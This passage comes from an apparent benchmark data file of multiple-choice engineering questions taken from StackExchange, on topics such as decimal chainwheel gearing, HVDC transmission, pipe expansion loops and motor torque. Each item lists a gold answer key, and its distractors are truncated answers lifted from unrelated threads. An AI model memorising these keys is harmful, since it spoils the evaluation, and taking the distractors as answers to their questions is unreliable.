hotly-debated topic. Since the bikes are all single-speed, gear ratio is a fixed number defined as chainwheel / cog (front gear divided by rear gear). Altering your gear ratio is understood as an immediately-noticeable tradeoff between acceleration and top-end speed. Here is a series of common gear ratios: ╔════════════╦═════╦════════╗ ║ Chainwheel ║ Cog ║ Ratio ║ ╠════════════╬═════╬════════╣ ║ 43 ║ 16 ║ 2.6875 ║ ║ 41 ║ 15 ║ 2.7333 ║ ║ 44 ║ 16 ║ 2.75 ║ ╚════════════╩═════╩════════╝ In 2012, a company called Rennen Design Group created a supposed breakthrough innovation called \"decimal gearing\" . The claim is that through manipulations of tooth profile and ring diameter, in-between gear ratios can be created - for example: ╔════════════╦═════╦════════╗ ║ Chainwheel ║ Cog ║ Ratio ║ ╠════════════╬═════╬════════╣ ║ 43 ║ 16 ║ 2.6875 ║ ║ 45.7 ║ 17 ║ 2.6882 ║ ║ 37.7 ║ 14 ║ 2.6929 ║ ║ 43.1 ║ 16 ║ 2.6938 ║ ║ 41 ║ 15 ║ 2.7333 ║ ║ 41.1 ║ 15 ║ 2.74 ║ ║ 52.2 ║ 19 ║ 2.7473 ║ ║ 44 ║ 16 ║ 2.75 ║ ║ 44.2 ║ 16 ║ 2.7625 ║ ╚════════════╩═════╩════════╝ Note: Table is not exhaustive. For example - a 44.2 tooth gear actually only has 44 teeth, but the tooth spacing, tooth profile, and chainwheel diameter is supposed to have been manipulated to create a larger gear. In the world of BMX racing, the existence of in-between gear ratios like this is a Really Big Deal. Since the man behind Rennen has a Master's from MIT - and since most BMXers would rather hit jumps than do math or measure things - nobody has really ever checked up on whether or not this is valid. Some questions were asked a long time ago in the dusty corners of a BMX forum, but the testing methods didn't properly control for all variables and the thread descended into a bunch of name-calling and ad-hominem attacks. The Actual Question Is this physically possible? I understand \"gear ratio\" to be defined as: For a given gear ratio x / y , one rotation of the gear with x teeth will result in x / y rotations of the gear with y teeth. For a gear ratio of 44/16, one full rotation of the 44 tooth gear (chainwheel) should result in 2.75 rotations of the 16 tooth gear (cog). So for a \"decimal ratio\" of 44.2/16, one full rotation of the 44.2 tooth gear (which again - only has 44 teeth) is supposed to result in 2.7625 rotations of the 16 tooth gear. My biggest reservation is the fact that a chain-driven drivetrain is a TIMED DRIVETRAIN. No matter how big or small you make the teeth on the chainwheel, if they fit the chain, they're only going to push as many links through per rotation as the chainwheel has teeth. For a true 44.2 tooth chainwheel, one would expect that 442 links get pushed through over 10 full rotations of the chainwheel - but that's not the case. Only 440 links will ever get pushed through to the cog because only 44 links get pushed through per full rotation of the chainwheel. I actually spent my whole afternoon yesterday taking video and counting links and measuring. But I'm not a scientist. My high school didn't even offer a physics course. I'm just a racer that trains really hard and knows how to do basic math. If this were a belt-driven system, I would completely understand how a manipulation of the chainwheel diameter would change the effective ratio - but it's not. It's a timed drivetrain, limited by the physical dimensions of the chain. I have several hundred dollars and months of training and metrics invested in these stupid chainwheels. If someone could confirm or deny my theories, I would really appreciate it. I just want some closure. Here's a photo of the teeth from a 41 tooth chainwheel on top of the teeth from a 41.2 tooth chainwheel - both are Rennen gears: Here's a 41t on top of a 41.2t: Here's the 41.2t on top of the 41t, from behind:", "question_score": 47, "question_tags": ["mechanical-engineering", "gears", "measurements"], "choices": {"A": "My first thought is that it might be intended to be a wing nut driver of some sort, but those are usually hollow cylinders with slots for the wings. Ah ... sure enough, it's described as such in this Ebay ad :", "B": "I suspect that the answer to this is that, ultimately the gear ratio comes from the ratio of diameters of the gears rather than the number of teeth, although in most circumstances practicality dictates that they are proportional. Say you have a 10 tooth cog and a 40 tooth chainwheel. It's fairly simple to imagine that you could remove every other tooth from the 40 tooth wheel while keeping the diameter the same and maintain exactly the same gear ratio. Similarly you could have a completely gearless wheel (putting aside issues of slippage) driving a chain which drove a geared...", "C": "Short answer : make it thicker. Long answer : The moment of inertia affects the beam's ability to resist flexing. Use one of the many, free, online moment of inertia calculators (like this one ) to see how increasing the height of the beam will have an exponential effect on increasing the stiffness of the beam. And this site helps provide a pictorial view of the load(s) upon a beam depending upon differing configurations, such as where the supports are and where the load is applied. It also provides a calculator to determine the forces involved. Wikipedia has a decent...", "D": "Some ideas: Wheel Load Distribution : The load is greater on the rear wheels providing the power; more force on the front ones bring no benefit and would provide less traction. Better manoeuvrability from having a shorter wheelbase. Better Ground Clearance in some conditions, especially for bumps and or up a increasing slope for instance. Better Driving : The front wheels now turn around a point closer to the C.G. than with the rear wheels. Not good with vehicle dynamics but this appears better than the rear end 'trailing' behind. Structural : As some people have pointed out, it's better..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/7080/is-it-possible-for-a-bicycle-chainwheel-to-have-a-fractional-number-of-teeth"} {"id": "engineering_19758", "domain": "engineering", "question_title": "Transmitting power over long distances what is better AC or DC?", "question_body": "I found this answer to a related question. The part of the answer that's confusing me is: Transmitting DC power over a long distance is inefficient. Thus AC supply is a far more efficient to transmit power. According to Siemens it's quite the opposite : Whenever power has to be transmitted over long distances, DC transmission is the most economical solution compared to high-voltage AC. Also, from Wikipedia HVDC transmission losses are quoted as less than 3% per 1,000 km, which are 30 to 40% less than with AC lines, at the same voltage levels. Is the posted answer correct? - - EDIT - - Chris H made a very important observation (see his comment below): The context of the post I mentioned was of low voltage whereas I was blindly thinking of high voltage. Indeed I learnt loads by the answers and comments. Thanks.", "question_score": 43, "question_tags": ["power-transmission"], "choices": {"A": "I'm going to set aside the potential legal liability aspects of your question. In part because you didn't ask about them, but also because liability will vary based upon jurisdiction. Obviously, consult an attorney familiar with the relevant law. Ethically, I think you've done everything that you're obligated to do. You have contacted the customer and notified them of an unsafe situation or configuration of the product. And you have (strongly) advised them that they need to discontinue using the older product in the unsafe configuration. If the customer remains insistent about using the product in an unsafe manner, you...", "B": "The picture, below, of the exaggerated long section of the Channel Tunnel was taken from Wikipedia . Full-sized image here . Some of the limiting factors for the Channel Tunnel are: Railways don't like steep gradients The tunnels comprising the Channel Tunnel were excavated using tunnel boring machines (TBMs). Like railways, they cannot tolerate steep gradients. The tunnel was excavated in chalk marl (green coloured material in the picture). This was due to its depth (not being too shallow and not being too deep) and its ability to be easily dug but also it would cause major support issues for...", "C": "Electricity production optimization is a very complex subject. It is also affected by many parameters , which I will try to outline below. TL;DR: Demand is constantly monitored and supply is constantly adjusted TL;DR 2: Lshaver's excellent post is a suggested reading after reading this, because it expands and explains what happens at timescales ranging from the micro-second to minutes timescales. Changes in energy demand during the day First of all, the energy demand during the day, week, month of year can change quite a lot. Below is a typical day in New England. Fluctuation in power energy consumption a...", "D": "It is more efficient to transmit DC using about the same infrastructure. This is because of several effects: Skin effect experienced with AC. There is no skin effect with DC. Higher voltage allowed with DC for the same transmission lines. The lines have to withstand the peak voltage. With AC, that is 1.4 times higher than the RMS. With DC, the RMS and peak voltages are the same. However, the power transmitted is the current times the RMS, not peak, voltage. No radiation loss with DC. Long transmission lines act as antennas and do radiate some power. That can only..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/19758/transmitting-power-over-long-distances-what-is-better-ac-or-dc"} {"id": "engineering_569", "domain": "engineering", "question_title": "What is the purpose of these diversions in a natural gas line?", "question_body": "The campus where I work has a long covered walkway (~.5 mile) which has several labeled pipes running under the roof (chilled water, fuel oil, air...). All of the pipes run dead straight except for the natural gas lines, which have little loops spaced about every 250ft, as seen in the attached image (the lowermost, yellow line. There's another natural gas line hidden above all the others, which also does the same thing.) The line isn't branching at these points, and there doesn't seem to be any need to divert the pipe in order to support it. I've looked at some building codes to see if I could find a reason (or even a requirement) to insert these. Any ideas as to what these are? It's driving me batty!", "question_score": 39, "question_tags": ["mechanical-engineering", "building-physics", "pipelines"], "choices": {"A": "I'm going to set aside the potential legal liability aspects of your question. In part because you didn't ask about them, but also because liability will vary based upon jurisdiction. Obviously, consult an attorney familiar with the relevant law. Ethically, I think you've done everything that you're obligated to do. You have contacted the customer and notified them of an unsafe situation or configuration of the product. And you have (strongly) advised them that they need to discontinue using the older product in the unsafe configuration. If the customer remains insistent about using the product in an unsafe manner, you...", "B": "After referring to some good online resources such this , I know why we shouldn't transport it laying down. Compressor is filled with oil which is critical to its operation. In the normal upright position gravity keeps the oil in the compressor. When we lay the refrigerator flat, some of the oil can leave the compressor and go into the cooling lines. The oil is a thick viscous fluid and can clog the cooling lines thus hampering the refrigerator's ability to cool. Lack of oil in the compressor can also damage the compressor. If we must lay the fridge down,...", "C": "The loops are known as expansion loops. They need to be placed in pipelines to enable the pipelines to contend with thermal expansion and contraction and other forces that can affect the pipeline. They are typically placed in gas pipelines, irrespective of when the gas is hot or cold - natural gas or steam. The following quote is from Pipeline Design . It's near the end of the page under Pipe Expansion and Supports Steel piping systems are subject to movement because of thermal expansion/contraction and mechanical forces. Piping systems subjected to temperature changes greater than 50°F or temperature changes...", "D": "The problem is that the formula $P=I\\ V$ is correct when dealing with DC circuits or with AC circuits where there is no lag between the current and the voltage. When dealing with realistic AC circuits, the power is given by $$ P=I\\ V\\ \\cos(\\phi), $$ where $\\phi$ is the phase difference between the current and the voltage. The unit kVA is a unit of what is called 'apparent power' whereas W is a unit of 'real power'. Apparent power is the maximum possible power attainable when the current and voltage are in phase and real power is the actual..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/569/what-is-the-purpose-of-these-diversions-in-a-natural-gas-line"} {"id": "engineering_32639", "domain": "engineering", "question_title": "What is the purpose of these “partially filled in” locomotive wheels?", "question_body": "I recently visited a railway museum with a lot of Soviet-era locomotives. The picture below shows the wheels on a locomotive from the 1930s or 1940s. Some of the wheels are thicker on one side (as it it were a partially filled cup). What is the purpose of that? (Now that I am looking at the picture again I wonder if they are balancing the weight of the coupling rods in some way.)", "question_score": 39, "question_tags": ["rail", "wheels"], "choices": {"A": "Those are counterweights . They work exactly the same as those lead counterbalance weights on the wheels of your automobile. If they left those out, then those connecting rods and bearings would create an out-of-balance condition, and the wheels would vibrate at higher speeds. That could very well damage the wheels. But as a couple of others have nicely pointed out, the violent shaking could derail the train .", "B": "There are a few main reasons why suspension bridges aren't used for railroads. The main reason is that suspension bridges are typically used where very long spans are needed. Trains are very heavy, especially when compared to lanes of highway traffic. This means that long spans require very strong support structures, which in the case of suspension bridges are cables and towers. The second reason goes along with the first; trains cause high dynamic loads as they move along the rail. This can increase the vertical loads by 30%. Third is that trains don't really have suspensions, especially freight trains....", "C": "Pantograph and third rail are pretty much it. Engineering principles: both have a conducting surface on the train (moving) in contact with the stationary rail/wire, in both cases you need a material that's resilient and conductive. The contact strip is a wear material . Differences: overhead catenary wires are flexible and will move around when a train drives underneath them. At high speeds, the pantograph can set up waves in the catenary wire, if these waves aren't damped sufficiently, the pantograph will start bouncing. third rail is limited to low voltages to reduce the risk of arcing between the rails....", "D": "Biggest advantage is that when connecting to trailers, there are no bleeding issues. Imagine having to connect hydraulic pipes and remove the air bubbles... As for the amount of air - the compressor and receiving tanks are designed for normal use. However if you wish to accompany AC/DC with the air brakes you will run out. Disc brakes already exist in an airbrake version for trucks - came out over 10 years ago IIRC. But one big difference is that if you lose hydraulics on a car braking system then you lose stopping power (except for handbrake etc) but with..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/32639/what-is-the-purpose-of-these-partially-filled-in-locomotive-wheels"} {"id": "engineering_63", "domain": "engineering", "question_title": "What are the pros and cons of a traffic circle versus a traffic light intersection?", "question_body": "The debate of traffic circles (also called roundabouts or rotaries) versus traffic light intersections has been in progress for a while. Those in favor of traffic circles say that , among other things, that they are safer than traffic light intersections. This claim has been scientifically proven. On the other hand, traffic light intersections are more space-inefficient. Even Mythbusters has joined the fun, testing the efficiency (which is one of the main arguments both sides seem to concern themselves with) of each method. For comparison, here's a quick picture of a traffic circle: And of a four-way traffic light intersection: So, what are the pros and cons of a traffic circle versus a traffic light intersection?", "question_score": 36, "question_tags": ["traffic-light", "highway-engineering"], "choices": {"A": "The picture, below, of the exaggerated long section of the Channel Tunnel was taken from Wikipedia . Full-sized image here . Some of the limiting factors for the Channel Tunnel are: Railways don't like steep gradients The tunnels comprising the Channel Tunnel were excavated using tunnel boring machines (TBMs). Like railways, they cannot tolerate steep gradients. The tunnel was excavated in chalk marl (green coloured material in the picture). This was due to its depth (not being too shallow and not being too deep) and its ability to be easily dug but also it would cause major support issues for...", "B": "I think you are talking about roundabouts, not traffic circles. It is baffling to those of us in the UK that Americans think roundabouts are a new idea. In the UK we have so many variants, from mini-roundabouts all the way up to full motorway junctions (a giant roundabout above or below the motorway). So do roundabouts take up more space? Not necessarily, this is a mini roundabout: It's nothing more than a slightly domed area of paint on the road, no lights are necessary, you can actually drive straight over the top of it rather than around it, its...", "C": "As others stated before, induction loops are the primary - most reliable method: the coils (usually just several loops of wire) embedded in the road; fed given frequency from a generator, in presence of metal the frequency of the LC circuit changes and the sensor circuitry detects the change of frequency, producing a presence signal. In some cases these may fail to detect bicycles, but they are by far most common as they aren't affected by weather (or more precisely, the detection circuit tunes in to slow changes of frequency caused by weather) and are immune to accidental false positives....", "D": "The problem is that the formula $P=I\\ V$ is correct when dealing with DC circuits or with AC circuits where there is no lag between the current and the voltage. When dealing with realistic AC circuits, the power is given by $$ P=I\\ V\\ \\cos(\\phi), $$ where $\\phi$ is the phase difference between the current and the voltage. The unit kVA is a unit of what is called 'apparent power' whereas W is a unit of 'real power'. Apparent power is the maximum possible power attainable when the current and voltage are in phase and real power is the actual..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/63/what-are-the-pros-and-cons-of-a-traffic-circle-versus-a-traffic-light-intersecti"} {"id": "engineering_443", "domain": "engineering", "question_title": "How fast does solid waste fall in vertical drain pipes?", "question_body": "Some building are really tall, if you flush the toilet and the contents go into a pipe and straight down, there could be a lot of energy, potentially enough to cause harm to the sewer pipe at the end of the fall. I know that in my home, the pipe goes straight down and then there is just a 90 degree bend. According to Wikipedia the calculations for Terminal velocity have a lot of variables, but in essence things that are falling get to top speed quickly. When solids are falling straight down a drain pipe in a high rise building, how fast do they fall? What is the potential for the things that are falling to damage the pipes and how is this addressed when engineering the structure?", "question_score": 35, "question_tags": ["structural-engineering", "piping"], "choices": {"A": "Biggest advantage is that when connecting to trailers, there are no bleeding issues. Imagine having to connect hydraulic pipes and remove the air bubbles... As for the amount of air - the compressor and receiving tanks are designed for normal use. However if you wish to accompany AC/DC with the air brakes you will run out. Disc brakes already exist in an airbrake version for trucks - came out over 10 years ago IIRC. But one big difference is that if you lose hydraulics on a car braking system then you lose stopping power (except for handbrake etc) but with...", "B": "If you consider only the static forces then indeed the thickness might seem over-engineered. However, engine blocks are not statically loaded. They operate in the range of a few hundred to a few thousand rpm (Revolution Per Minute), so there are dynamic considerations here. Fatigue When materials are subjected to cyclic loading they exhibit a reduction in the allowable stresses. See below for an example: In general, BCC (body-centered cubic) materials (like steel) show a marked drop in strength (close to 50% or more depending on the steel). For these material there is stress (called the endurance limit), for which...", "C": "I'm going to set aside the potential legal liability aspects of your question. In part because you didn't ask about them, but also because liability will vary based upon jurisdiction. Obviously, consult an attorney familiar with the relevant law. Ethically, I think you've done everything that you're obligated to do. You have contacted the customer and notified them of an unsafe situation or configuration of the product. And you have (strongly) advised them that they need to discontinue using the older product in the unsafe configuration. If the customer remains insistent about using the product in an unsafe manner, you...", "D": "Please note : I'm not a building designer by trade, but I have had to investigate related questions for other reasons. I'll let you in on a dirty secret about sanitation lines within buildings - The biggest concern is not about how fast things are flying, it's about maintaining air pressure and providing adequate ventilation. This guide presents a bit of a historical background to tall building design with respect to sanitation system design. This presentation provides some more recent perspective and goes into some of the research that is refining current building standards. The traditional viewpoint is that waste..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/443/how-fast-does-solid-waste-fall-in-vertical-drain-pipes"} {"id": "engineering_42931", "domain": "engineering", "question_title": "Why are railroad tank cars bent in the middle?", "question_body": "I recently noticed that the cylindrical shape of a railroad tank car is not completely straight but has a bend in the middle. The entire tank is a bit lower there. What's the reason for this bend? This is also visible on the drawing of a DOT 117 tank car on Wikipedia (the red nearly-horizontal lines were added by myself). I first thought it had something to do with pressure containment, but the model 117 is apparently used for non-pressured goods only.", "question_score": 35, "question_tags": ["mechanical-engineering", "design", "rail"], "choices": {"A": "As other have pointed out, the main utility is to allow easier cleaning of the tank cars from sediment (solid precipitates). Usually, there is a drain in the lowest point. The reason that it is in the middle is that in this way, you can allow double the incline compared to if you had the drain at one of the ends for the same height. For example, if the allowed height difference is about 15 cm, and about 15 m length, then if you had the drain in: the edge, the angle would be $\\arctan\\left(\\frac{0.15}{15}\\right)=0.57^\\circ$ or 1%. the middle ,...", "B": "The picture, below, of the exaggerated long section of the Channel Tunnel was taken from Wikipedia . Full-sized image here . Some of the limiting factors for the Channel Tunnel are: Railways don't like steep gradients The tunnels comprising the Channel Tunnel were excavated using tunnel boring machines (TBMs). Like railways, they cannot tolerate steep gradients. The tunnel was excavated in chalk marl (green coloured material in the picture). This was due to its depth (not being too shallow and not being too deep) and its ability to be easily dug but also it would cause major support issues for...", "C": "From the point of view of the driver of a car, impacting another car is about as bad as crashing against an ideal wall (a wall with zero deformation whatsoever). If there were a plane reflection between the two cars, then vs. Car would be exactly equal to vs. Wall (the contact points between both cars would all be on the same plane, due to reflection, so each car could be considered a wall for the other). But this plane reflection does not exist: What we have instead is a 2-fold rotational reflection . Let's say the left part of...", "D": "The turbulence model can make a big difference in your simulation . There are many turbulence models around. It becomes a tough job to select one out of them. There is no perfect turbulence model. It all depends on several parameters like Reynold's number, whether the flow is separated, pressure gradients, boundary layer thikness and so on. In this answer, brief information about a few popular models is given along with pros and cons and potential applications. However, interested users can see this excellent NASA website and references therein to know more about turbulence modeling. A) ONE EQUATION MODEL: 1...."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/42931/why-are-railroad-tank-cars-bent-in-the-middle"} {"id": "engineering_1977", "domain": "engineering", "question_title": "Why dig out and then fill in before building a large structure?", "question_body": "I work in the middle of London, in an area full of large office blocks. Across the road from my office they have started construction of a large building (10 stories plus). Over the last few weeks, diggers have dug a large (and vertical walled) hole. Lorries have taken the resulting dirt and old concrete away, leaving a very neat hole. In the last day or so, the lorries have returned with new dirt (or the old dirt crushed) and diggers have been putting it back in the hole (and compacting it). Why put the dirt back? Surely leaving the hole deeper would allow for deeper basement (or digging it shallower would be cheaper)? I'm not a structural engineer, so this is all lost on me, but I'm fascinated.", "question_score": 32, "question_tags": ["structural-engineering", "geotechnical-engineering", "building-design", "foundations"], "choices": {"A": "As other have pointed out, the main utility is to allow easier cleaning of the tank cars from sediment (solid precipitates). Usually, there is a drain in the lowest point. The reason that it is in the middle is that in this way, you can allow double the incline compared to if you had the drain at one of the ends for the same height. For example, if the allowed height difference is about 15 cm, and about 15 m length, then if you had the drain in: the edge, the angle would be $\\arctan\\left(\\frac{0.15}{15}\\right)=0.57^\\circ$ or 1%. the middle ,...", "B": "This is to make sure they know what the foundation is made of. For all they knew there may have been an old tunnel underneath that would have collapsed when the new building is put on top. London is built on top of an old marsh, this type of soil is very prone to sinking and uneven settling, digging down and reinforcing the foundation alleviates that. It also ensures the foundation is uniform under the building to avoid a new tower of Pisa. Given the age of the city it may have been to scour the land for potential archaeological...", "C": "From the point of view of the driver of a car, impacting another car is about as bad as crashing against an ideal wall (a wall with zero deformation whatsoever). If there were a plane reflection between the two cars, then vs. Car would be exactly equal to vs. Wall (the contact points between both cars would all be on the same plane, due to reflection, so each car could be considered a wall for the other). But this plane reflection does not exist: What we have instead is a 2-fold rotational reflection . Let's say the left part of...", "D": "Electricity production optimization is a very complex subject. It is also affected by many parameters , which I will try to outline below. TL;DR: Demand is constantly monitored and supply is constantly adjusted TL;DR 2: Lshaver's excellent post is a suggested reading after reading this, because it expands and explains what happens at timescales ranging from the micro-second to minutes timescales. Changes in energy demand during the day First of all, the energy demand during the day, week, month of year can change quite a lot. Below is a typical day in New England. Fluctuation in power energy consumption a..."}, "answer": "B", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/1977/why-dig-out-and-then-fill-in-before-building-a-large-structure"} {"id": "engineering_49207", "domain": "engineering", "question_title": "What is the lowest point below sealevel that we have built where a human can go?", "question_body": "According to google searches, the Jinping Underground Laboratories are the \"deepest\" building or buildings constructed, reaching 7900 feet (2400 metre) below the surface.... However, the surface in question is a mountain. While that does classify as underground, it highlights a flaw in the question of the deepest underground building. I can't seem to find the lowest building in the world though, or the deepest in relation to depth within the earth's crust. What is the lowest point below sea level that we have built where a human can go? I imagine this is likely another laboratory. But where would a building of this description be?", "question_score": 31, "question_tags": ["civil-engineering", "architecture"], "choices": {"A": "Trees increase the turbulence of the air that reaches the turbines. That creates all sorts of uneven, rapidly-shifting loads on the blades and structure. That increases the maintenance costs, decreases availability, decreases the capacity factor, and decreases the life expectancy of the turbine. So, higher costs, lower revenue. One of the ways we measure the impact is the surface roughness coefficient $z_0$. Here are the figures from the book \" Wind Energy - The Facts \". As you can see, forest and woodland has a much higher $z_0$ than open farmland - and that means higher turbulence. Open land also...", "B": "The current limit specification for a wire is limited by the heat that current will produce, and how much heat the wire can dissipate before getting too hot. \"Too hot\" depends on the circumstances. You will see higher current ratings for the same type of wire in chassis wiring applications than the electrical code allows for home installations, for example. This is mostly due to how hot too hot is. The ultimate limit for extreme applications is that the conductor not melt. Temperatures anywhere near that would be unsafe running along wooden supports inside a wall in a house. As...", "C": "The Kidd Mine in Ontario, Canada: per the Wikipedia article , it is \"the deepest accessible non-marine point on Earth\" at \"2,733 metres (8,967 ft) below sea level\". I found this from the Wikipedia article on Extremes on Earth , which differentiates between depth from the surface and depth below sea level, and also between an actual mine vs. a bore hole.", "D": "Theoretically pontoon bridges with rope anchors keeping them to the bottom would work against wind and flow, overcoming the problem jhabbot mentioned in his answer (same as train length limit - stretching force). In practice these come with more problems of their own. They drift on water surface and as result, rise and fall with water waves. The larger the body of water they span, the higher the waves; at certain point in stormy weather the bridge would just launch the vehicles into the air. The anchoring isn't exactly simple if it's to withstand such forces. You could just as..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/49207/what-is-the-lowest-point-below-sealevel-that-we-have-built-where-a-human-can-go"} {"id": "engineering_270", "domain": "engineering", "question_title": "Why do hydraulic systems use special fluid - what's wrong with water?", "question_body": "As a hydraulics layman thinking about hydraulic systems, it seems that the important factor is to have a liquid that doesn't compress much or at all. Doesn't water meet this requirement, and what other properties should the liquid have (if any) that water doesn't?", "question_score": 29, "question_tags": ["mechanical-engineering", "hydraulics"], "choices": {"A": "Water meets the low compressibility requirement, but there are many other considerations in the design of a hydraulic system: Boiling point/vapor pressure: If the system warms up during operation, the fluid may boil, which results in high compressibility and thus decreased effectiveness of the hydraulic system. Hydraulic fluid has a higher boiling point than water to help combat this. Related to this is the concept of vapor pressure. Hydraulic systems often involve small orifices, which can cause cavitation (localized boiling). This cavitation has the same effects as boiling and can cause pitting damage to the components near the cavitated region....", "B": "Train Brakes The common brakes on trains are air brakes . As the name implies, these work off of air pressure. The braking power isn't controlled in the way that you would immediately think of though. They do not work like car brakes where the harder you press on the brake pedal, the harder the pressure goes through the lines to the brake cylinders. They work the opposite. The less pressure in the line, the more braking force is applied. Fail-safe Rail brakes are designed to be fail-safe . That is, when a failure occurs, the safe operation happens. In...", "C": "The loops are known as expansion loops. They need to be placed in pipelines to enable the pipelines to contend with thermal expansion and contraction and other forces that can affect the pipeline. They are typically placed in gas pipelines, irrespective of when the gas is hot or cold - natural gas or steam. The following quote is from Pipeline Design . It's near the end of the page under Pipe Expansion and Supports Steel piping systems are subject to movement because of thermal expansion/contraction and mechanical forces. Piping systems subjected to temperature changes greater than 50°F or temperature changes...", "D": "OP injection molding tag is correct. OBall uses injection molding and plastic welding. The OBall is the invention of David E. Silverglate. Toy Ball Apparatus with Reduced Part Count Reduced image from Kids II . It consists of four identical, flat, injection molded, pentagon and hexagon shapes with circular (or elipitical) holes, which are shaped and plastically welded into spheres. Pentagon and hexagon edges are the same size and individual connected circles are only connected along one edge. The four shapes are clearly shown in colors above and from the patent. Solid lines on each part are hard connections, while..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/270/why-do-hydraulic-systems-use-special-fluid-whats-wrong-with-water"} {"id": "engineering_3099", "domain": "engineering", "question_title": "Which is Worse: Car vs. Car or Car vs. Wall?", "question_body": "So I got myself questioning what could be worse for the driver... a collision of two identical cars at equal speed (frontal crash) or the same car with the same speed crashing through a wall? The first case I see it would double the impact, but also it will absorb the energy into the other car structure, otherwise, in a solid and rigid wall, all the energy would come back to the vehicle. Which situation is worse for the passengers?", "question_score": 29, "question_tags": ["automotive-engineering", "safety"], "choices": {"A": "At the beginning of my career (1979) as a design engineer at HP, the mechanical engineer created the part design and then rendered it in pencil on paper, and then transferred it onto sheets of vellum paper held onto a huge flat tilting table called a drafting board which had a precision sliding arm on it with which parallel and right angle lines could be drawn anywhere on the sheet. Clever graphical rules were applied to the resulting drawings which permitted auxiliary views of the part to be generated so it could be viewed from any desired angle, as an...", "B": "After the 2014 ICCT report revealed that these light-duty passenger diesel vehicles were emitting too much NOx and US regulators confronted VW about the results, VW did some testing and proposed a voluntary software recall to recalibrate the various emissions control devices on the affected vehicles. From the California Air Resources Board's (CARB's) in-use compliance letter to Volkwagen AG, 2015-09-18 , following that recall: To have a more controlled evaluation of the high NOx observed over the road, CARB developed a special dynamometer cycle which consisted of driving the Phase 2 portion of the FTP repeatedly. This special cycle revealed...", "C": "From the point of view of the driver of a car, impacting another car is about as bad as crashing against an ideal wall (a wall with zero deformation whatsoever). If there were a plane reflection between the two cars, then vs. Car would be exactly equal to vs. Wall (the contact points between both cars would all be on the same plane, due to reflection, so each car could be considered a wall for the other). But this plane reflection does not exist: What we have instead is a 2-fold rotational reflection . Let's say the left part of...", "D": "Nothing is rigid, the raceways and the ball in a ball-bearing are no exception. The contact area deflects and accommodates the ball in a small contact surface, not a point. Also, the balls take the load in groups. The digrams are from SKF ball-bearings. '"}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://engineering.stackexchange.com/questions/3099/which-is-worse-car-vs-car-or-car-vs-wall"} {"id": "engineering_2826", "domain": "engineering", "question_title": "Understanding required torque for a motor lifting a weight", "question_body": "This is a continuation of me trying to understand torque and stepper motors in my other question . I'm trying to understand the torque a motor would be required to generate to lift a small weight, and the formulas involved. The first part of my question is to verify if I am calculating this correctly: Let's say I have a 450 g mass (roughly one pound) then the force of gravity pulling it down is: $\\begin{align} F &= ma \\\\ &= 0.450 \\:\\mathrm{kg} * 9.8 \\:\\mathrm{m}/\\mathrm{s}^2 \\\\ &= 4.41 \\:\\mathrm{N} \\\\ \\end{align}$ If I have a stepper motor with a spindle for my string that pulls up my motor with a radius of 5 cm. I think my torque needed would be: $\\begin{align} T &= Fr \\\\ &= F * 0.05 \\\\ &= 0.22 \\:\\mathrm{Nm} \\\\ \\end{align}$ So now if I want to move that mass I need to find a stepper motor that can output more than 0.22 Nm of torque, right? The follow-on to my question is that if I want to see how fast I can move it then I need to look at a Torque speed curve, right? My confusion is this: do I have to ensure that I'm moving slow enough to get the torque I need, or does that curve say if you need this torque you won't be able to go above this speed because the motor won't let you?", "question_score": 27, "question_tags": ["mechanical-engineering", "motors", "torque", "stepper-motor"], "choices": {"A": "You have the right concept, but slipped a decimal point. 5 cm = 0.05 m. The gravitational force on your 450 g mass is 4.4 N as you say, so the torque just to keep up with gravity is (4.4 N)(0.05 m) = 0.22 Nm. However, that is the absolute minimum torque just to keep the system in steady state. It leaves nothing for actually accellerating the mass and for overcoming the inevitable friction. To get the real torque required, you have to specify how fast you want to be able to accellerate this mass upwards. For example, let's say...", "B": "It is more efficient to transmit DC using about the same infrastructure. This is because of several effects: Skin effect experienced with AC. There is no skin effect with DC. Higher voltage allowed with DC for the same transmission lines. The lines have to withstand the peak voltage. With AC, that is 1.4 times higher than the RMS. With DC, the RMS and peak voltages are the same. However, the power transmitted is the current times the RMS, not peak, voltage. No radiation loss with DC. Long transmission lines act as antennas and do radiate some power. That can only...", "C": "The turbulence model can make a big difference in your simulation . There are many turbulence models around. It becomes a tough job to select one out of them. There is no perfect turbulence model. It all depends on several parameters like Reynold's number, whether the flow is separated, pressure gradients, boundary layer thikness and so on. In this answer, brief information about a few popular models is given along with pros and cons and potential applications. However, interested users can see this excellent NASA website and references therein to know more about turbulence modeling. A) ONE EQUATION MODEL: 1....", "D": "If the receiver does not detect the sub-carrier for the \"colour burst\" signal which is transmitted during the horizontal blanking period the receiver switches on the \"colour-killer\" circuit so the set reverts to black and white mode. The colour-burst signal - 8 to 10 cycles of 3.85 MHz - is unlikely to be generated by random noise. Figure 1. The colorburst signal is transmitted on the \"back porch\" between the horizontal blanking pulse and the start of that line's luminance signal. The colorburst signal is used to synchronise the QAM (quadrature amplitude modulation) oscillator which can hold its frequency accurately..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": 